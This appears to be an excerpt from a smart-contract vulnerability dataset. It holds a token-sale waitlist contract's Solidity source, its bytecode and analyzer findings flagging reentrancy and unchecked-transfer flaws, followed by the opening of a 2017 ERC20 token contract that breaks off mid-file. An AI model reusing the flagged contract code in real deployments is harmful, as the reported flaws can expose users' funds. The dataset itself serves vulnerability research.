function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
//
contract PublicSaleWaitlistContract is Ownable {
using SafeMath for uint256;
event Whitelist(address indexed _address, bool _isStaking);
event Deposit(uint256 _timestamp, address indexed _address);
event Refund(uint256 _timestamp, address indexed _address);
event TokenReleased(uint256 _timestamp, address indexed _address, uint256 _amount);
// Token Contract
IERC20 tokenContract = IERC20(0x03042482d64577A7bdb282260e2eA4c8a89C064B);
uint256 public noStakeReleaseAmount = 166666.67 ether;
uint256 public stakeReleaseFirstBatchAmount = 83333.33 ether;
uint256 public stakeReleaseSecondBatchAmount = 87500 ether;
// Receiving Address
address payable receivingAddress = 0x6359EAdBB84C8f7683E26F392A1573Ab6a37B4b4;
// Contract status
ContractStatus public status;
enum ContractStatus {
INIT,
ACCEPT_DEPOSIT,
FIRST_BATCH_TOKEN_RELEASED,
SECOND_BATCH_TOKEN_RELEASED
}
// Whitelist
mapping(address => WhitelistDetail) whitelist;
struct WhitelistDetail {
// Check if address is whitelisted
bool isWhitelisted;
// Check if address is staking
bool isStaking;
// Check if address has deposited
bool hasDeposited;
}
// Total count of whitelisted address
uint256 public whitelistCount = 0;
// Addresses that deposited
address[] depositAddresses;
uint256 dIndex = 0;
// Addresses for second batch release
address[] secondBatchAddresses;
uint256 sIndex = 0;
// Total count of deposits
uint256 public depositCount = 0;
// Deposit ticket size
uint256 public ticketSize = 2.85 ether;
// Duration of stake
uint256 constant stakeDuration = 30 days;
// Time that staking starts
uint256 public stakeStart;
constructor() public {
status = ContractStatus.INIT;
}
function updateReceivingAddress(address payable _address) public onlyOwner {
receivingAddress = _address;
}
/**
* @dev ContractStatus.INIT functions
*/
function whitelistAddresses(address[] memory _addresses, bool[] memory _isStaking) public onlyOwner {
require(status == ContractStatus.INIT);
for (uint256 i = 0; i < _addresses.length; i++) {
if (!whitelist[_addresses[i]].isWhitelisted) {
whitelistCount = whitelistCount.add(1);
}
whitelist[_addresses[i]].isWhitelisted = true;
whitelist[_addresses[i]].isStaking = _isStaking[i];
emit Whitelist(_addresses[i], _isStaking[i]);
}
}
function updateTicketSize(uint256 _amount) public onlyOwner {
require(status == ContractStatus.INIT);
ticketSize = _amount;
}
function acceptDeposit() public onlyOwner {
require(status == ContractStatus.INIT);
status = ContractStatus.ACCEPT_DEPOSIT;
}
/**
* @dev ContractStatus.ACCEPT_DEPOSIT functions
*/
receive() external payable {
deposit();
}
function deposit() internal {
require(status == ContractStatus.ACCEPT_DEPOSIT);
require(whitelist[msg.sender].isWhitelisted && !whitelist[msg.sender].hasDeposited);
require(msg.value >= ticketSize);
msg.sender.transfer(msg.value.sub(ticketSize));
whitelist[msg.sender].hasDeposited = true;
depositAddresses.push(msg.sender);
depositCount = depositCount.add(1);
emit Deposit(block.timestamp, msg.sender);
}
function refund(address payable _address) public onlyOwner {
require(whitelist[_address].hasDeposited);
delete whitelist[_address];
_address.transfer(ticketSize);
depositCount = depositCount.sub(1);
emit Refund(block.timestamp, _address);
}
function refundMultiple(address payable[] memory _addresses) public onlyOwner {
for (uint256 i = 0; i < _addresses.length; i++) {
if (whitelist[_addresses[i]].hasDeposited) {
delete whitelist[_addresses[i]];
_addresses[i].transfer(ticketSize);
depositCount = depositCount.sub(1);
emit Refund(block.timestamp, _addresses[i]);
}
}
}
function releaseFirstBatchTokens(uint256 _count) public onlyOwner {
require(status == ContractStatus.ACCEPT_DEPOSIT);
for (uint256 i = 0; i < _count; i++) {
if (whitelist[depositAddresses[dIndex]].isWhitelisted) {
if (whitelist[depositAddresses[dIndex]].isStaking) {
// Is staking
tokenContract.transfer(depositAddresses[dIndex], stakeReleaseFirstBatchAmount);
secondBatchAddresses.push(depositAddresses[dIndex]);
emit TokenReleased(block.timestamp, depositAddresses[dIndex], stakeReleaseFirstBatchAmount);
} else {
// Not staking
tokenContract.transfer(depositAddresses[dIndex], noStakeReleaseAmount);
emit TokenReleased(block.timestamp, depositAddresses[dIndex], noStakeReleaseAmount);
}
}
dIndex = dIndex.add(1);
if (dIndex == depositAddresses.length) {
receivingAddress.transfer(address(this).balance);
stakeStart = block.timestamp;
status = ContractStatus.FIRST_BATCH_TOKEN_RELEASED;
break;
}
}
}
/**
* @dev ContractStatus.FIRST_BATCH_TOKEN_RELEASED functions
*/
function releaseSecondBatchTokens(uint256 _count) public onlyOwner {
require(status == ContractStatus.FIRST_BATCH_TOKEN_RELEASED);
require(block.timestamp > (stakeStart + stakeDuration));
for (uint256 i = 0; i < _count; i++) {
tokenContract.transfer(secondBatchAddresses[sIndex], stakeReleaseSecondBatchAmount);
emit TokenReleased(block.timestamp, secondBatchAddresses[sIndex], stakeReleaseSecondBatchAmount);
sIndex = sIndex.add(1);
if (sIndex == secondBatchAddresses.length) {
status = ContractStatus.SECOND_BATCH_TOKEN_RELEASED;
break;
}
}
}
/**
* @dev ContractStatus.SECOND_BATCH_TOKEN_RELEASED functions
*/
function withdrawTokens() public onlyOwner {
require(status == ContractStatus.SECOND_BATCH_TOKEN_RELEASED);
tokenContract.transfer(receivingAddress, tokenContract.balanceOf(address(this)));
}
}
|
0x6080604052600436106101235760003560e01c8063a3d272ce116100a0578063d4a3803f11610064578063d4a3803f146105ec578063ded984e914610603578063f2624b5d1461062e578063f2fde38b14610659578063fa89401a146106aa57610132565b8063a3d272ce14610445578063ad4bbd2814610496578063ae4844eb146104c1578063b0068a14146104ec578063ceeea84a146105b157610132565b806367212f3f116100e757806367212f3f1461022c578063715018a6146103855780637d6190091461039c5780638d8f2adb146103d75780638da5cb5b146103ee57610132565b806312c3954314610137578063200d2ed2146101625780632dfdf0b51461019b5780634dff5b46146101c6578063553f1b5b1461020157610132565b36610132576101306106fb565b005b600080fd5b34801561014357600080fd5b5061014c610973565b6040518082815260200191505060405180910390f35b34801561016e57600080fd5b50610177610979565b6040518082600381111561018757fe5b60ff16815260200191505060405180910390f35b3480156101a757600080fd5b506101b061098c565b6040518082815260200191505060405180910390f35b3480156101d257600080fd5b506101ff600480360360208110156101e957600080fd5b8101908080359060200190929190505050610992565b005b34801561020d57600080fd5b50610216611091565b6040518082815260200191505060405180910390f35b34801561023857600080fd5b506103836004803603604081101561024f57600080fd5b810190808035906020019064010000000081111561026c57600080fd5b82018360208201111561027e57600080fd5b803590602001918460208302840111640100000000831117156102a057600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561030057600080fd5b82018360208201111561031257600080fd5b8035906020019184602083028401116401000000008311171561033457600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050611097565b005b34801561039157600080fd5b5061039a61139d565b005b3480156103a857600080fd5b506103d5600480360360208110156103bf57600080fd5b8101908080359060200190929190505050611525565b005b3480156103e357600080fd5b506103ec61162a565b005b3480156103fa57600080fd5b50610403611906565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561045157600080fd5b506104946004803603602081101561046857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061192f565b005b3480156104a257600080fd5b506104ab611a3c565b6040518082815260200191505060405180910390f35b3480156104cd57600080fd5b506104d6611a42565b6040518082815260200191505060405180910390f35b3480156104f857600080fd5b506105af6004803603602081101561050f57600080fd5b810190808035906020019064010000000081111561052c57600080fd5b82018360208201111561053e57600080fd5b8035906020019184602083028401116401000000008311171561056057600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050611a48565b005b3480156105bd57600080fd5b506105ea600480360360208110156105d457600080fd5b8101908080359060200190929190505050611d04565b005b3480156105f857600080fd5b50610601612036565b005b34801561060f57600080fd5b50610618612157565b6040518082815260200191505060405180910390f35b34801561063a57600080fd5b5061064361215d565b6040518082815260200191505060405180910390f35b34801561066557600080fd5b506106a86004803603602081101561067c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612163565b005b3480156106b657600080fd5b506106f9600480360360208110156106cd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612370565b005b6001600381111561070857fe5b600560149054906101000a900460ff16600381111561072357fe5b1461072d57600080fd5b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff1680156107d65750600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160029054906101000a900460ff16155b6107df57600080fd5b600d543410156107ee57600080fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc61081d600d54346125c690919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015610848573d6000803e3d6000fd5b506001600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160026101000a81548160ff0219169083151502179055506008339080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061091d6001600c5461261090919063ffffffff16565b600c819055503373ffffffffffffffffffffffffffffffffffffffff167f4bcc17093cdf51079c755de089be5a85e70fa374ec656c194480fbdcda224a53426040518082815260200191505060405180910390a2565b60045481565b600560149054906101000a900460ff1681565b600c5481565b61099a612698565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a5b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60016003811115610a6857fe5b600560149054906101000a900460ff166003811115610a8357fe5b14610a8d57600080fd5b60008090505b8181101561108d5760066000600860095481548110610aae57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff1615610fbc5760066000600860095481548110610b3c57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160019054906101000a900460ff1615610e0957600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600860095481548110610c0457fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166003546040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610c9b57600080fd5b505af1158015610caf573d6000803e3d6000fd5b505050506040513d6020811015610cc557600080fd5b810190808051906020019092919050505050600a600860095481548110610ce857fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600860095481548110610d8257fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f6efaf1553a66092e328feeef94f921fa986cd2a289aa85891aedce66a935ac6642600354604051808381526020018281526020019250505060405180910390a2610fbb565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600860095481548110610e5657fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166002546040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610eed57600080fd5b505af1158015610f01573d6000803e3d6000fd5b505050506040513d6020811015610f1757600080fd5b810190808051906020019092919050505050600860095481548110610f3857fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f6efaf1553a66092e328feeef94f921fa986cd2a289aa85891aedce66a935ac6642600254604051808381526020018281526020019250505060405180910390a25b5b610fd2600160095461261090919063ffffffff16565b600981905550600880549050600954141561108057600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f1935050505015801561104f573d6000803e3d6000fd5b5042600e819055506002600560146101000a81548160ff0219169083600381111561107657fe5b021790555061108d565b8080600101915050610a93565b5050565b60035481565b61109f612698565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611160576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600381111561116d57fe5b600560149054906101000a900460ff16600381111561118857fe5b1461119257600080fd5b60008090505b825181101561139857600660008483815181106111b157fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff166112255761121e600160075461261090919063ffffffff16565b6007819055505b60016006600085848151811061123757fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160006101000a81548160ff02191690831515021790555081818151811061129f57fe5b6020026020010151600660008584815181106112b757fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160016101000a81548160ff02191690831515021790555082818151811061131f57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff167f5a25e09a5dba33161281055e015f1279b6b10204d8f90dd56a8ce2b82322d43d83838151811061136a57fe5b6020026020010151604051808215151515815260200191505060405180910390a28080600101915050611198565b505050565b6113a5612698565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611466576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b61152d612698565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146115ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600060038111156115fb57fe5b600560149054906101000a900460ff16600381111561161657fe5b1461162057600080fd5b80600d8190555050565b611632612698565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6003808111156116ff57fe5b600560149054906101000a900460ff16600381111561171a57fe5b1461172457600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561182457600080fd5b505afa158015611838573d6000803e3d6000fd5b505050506040513d602081101561184e57600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156118c857600080fd5b505af11580156118dc573d6000803e3d6000fd5b505050506040513d60208110156118f257600080fd5b810190808051906020019092919050505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b611937612698565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146119f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60025481565b600e5481565b611a50612698565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611b11576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60008090505b8151811015611d005760066000838381518110611b3057fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160029054906101000a900460ff1615611cf35760066000838381518110611b9857fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600080820160006101000a81549060ff02191690556000820160016101000a81549060ff02191690556000820160026101000a81549060ff02191690555050818181518110611c2557fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff166108fc600d549081150290604051600060405180830381858888f19350505050158015611c74573d6000803e3d6000fd5b50611c8b6001600c546125c690919063ffffffff16565b600c81905550818181518110611c9d57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff167f510b82fea70ff89a8cc73cd7f29db2d7b480134c160cb52a258797b42d1989ad426040518082815260200191505060405180910390a25b8080600101915050611b17565b5050565b611d0c612698565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611dcd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60026003811115611dda57fe5b600560149054906101000a900460ff166003811115611df557fe5b14611dff57600080fd5b62278d00600e54014211611e1257600080fd5b60008090505b8181101561203257600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600a600b5481548110611e6d57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166004546040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015611f0457600080fd5b505af1158015611f18573d6000803e3d6000fd5b505050506040513d6020811015611f2e57600080fd5b810190808051906020019092919050505050600a600b5481548110611f4f57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f6efaf1553a66092e328feeef94f921fa986cd2a289aa85891aedce66a935ac6642600454604051808381526020018281526020019250505060405180910390a2611fe76001600b5461261090919063ffffffff16565b600b81905550600a80549050600b541415612025576003600560146101000a81548160ff0219169083600381111561201b57fe5b0217905550612032565b8080600101915050611e18565b5050565b61203e612698565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146120ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600381111561210c57fe5b600560149054906101000a900460ff16600381111561212757fe5b1461213157600080fd5b6001600560146101000a81548160ff0219169083600381111561215057fe5b0217905550565b600d5481565b60075481565b61216b612698565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461222c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156122b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806127616026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b612378612698565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612439576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600660008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160029054906101000a900460ff1661249257600080fd5b600660008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600080820160006101000a81549060ff02191690556000820160016101000a81549060ff02191690556000820160026101000a81549060ff021916905550508073ffffffffffffffffffffffffffffffffffffffff166108fc600d549081150290604051600060405180830381858888f19350505050158015612558573d6000803e3d6000fd5b5061256f6001600c546125c690919063ffffffff16565b600c819055508073ffffffffffffffffffffffffffffffffffffffff167f510b82fea70ff89a8cc73cd7f29db2d7b480134c160cb52a258797b42d1989ad426040518082815260200191505060405180910390a250565b600061260883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506126a0565b905092915050565b60008082840190508381101561268e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600033905090565b600083831115829061274d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156127125780820151818401526020810190506126f7565b50505050905090810190601f16801561273f5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838503905080915050939250505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373a2646970667358221220329445e3a1758496ce6e851e445e4a643ac1f7e05cf1d59c15e971c7a0c9aa2e64736f6c63430006060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 6,175 |
0x837873acC6B1Be49905e6e03Ff9B943FB4a2C2C7
|
/**
*Submitted for verification at Etherscan.io on 2017-11-28
*/
pragma solidity ^0.4.17;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20Basic {
uint public _totalSupply;
function totalSupply() public constant returns (uint);
function balanceOf(address who) public constant returns (uint);
function transfer(address to, uint value) public;
event Transfer(address indexed from, address indexed to, uint value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint);
function transferFrom(address from, address to, uint value) public;
function approve(address spender, uint value) public;
event Approval(address indexed owner, address indexed spender, uint value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is Ownable, ERC20Basic {
using SafeMath for uint;
mapping(address => uint) public balances;
// additional variables for use if transaction fees ever became necessary
uint public basisPointsRate = 0;
uint public maximumFee = 0;
/**
* @dev Fix for the ERC20 short address attack.
*/
modifier onlyPayloadSize(uint size) {
require(!(msg.data.length < size + 4));
_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint _value) public onlyPayloadSize(2 * 32) {
uint fee = (_value.mul(basisPointsRate)).div(10000);
if (fee > maximumFee) {
fee = maximumFee;
}
uint sendAmount = _value.sub(fee);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(sendAmount);
if (fee > 0) {
balances[owner] = balances[owner].add(fee);
Transfer(msg.sender, owner, fee);
}
Transfer(msg.sender, _to, sendAmount);
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public constant returns (uint balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based oncode by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is BasicToken, ERC20 {
mapping (address => mapping (address => uint)) public allowed;
uint public constant MAX_UINT = 2**256 - 1;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint _value) public onlyPayloadSize(3 * 32) {
var _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// if (_value > _allowance) throw;
uint fee = (_value.mul(basisPointsRate)).div(10000);
if (fee > maximumFee) {
fee = maximumFee;
}
if (_allowance < MAX_UINT) {
allowed[_from][msg.sender] = _allowance.sub(_value);
}
uint sendAmount = _value.sub(fee);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(sendAmount);
if (fee > 0) {
balances[owner] = balances[owner].add(fee);
Transfer(_from, owner, fee);
}
Transfer(_from, _to, sendAmount);
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint _value) public onlyPayloadSize(2 * 32) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require(!((_value != 0) && (allowed[msg.sender][_spender] != 0)));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
}
/**
* @dev Function to check the amount of tokens than an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public constant returns (uint remaining) {
return allowed[_owner][_spender];
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
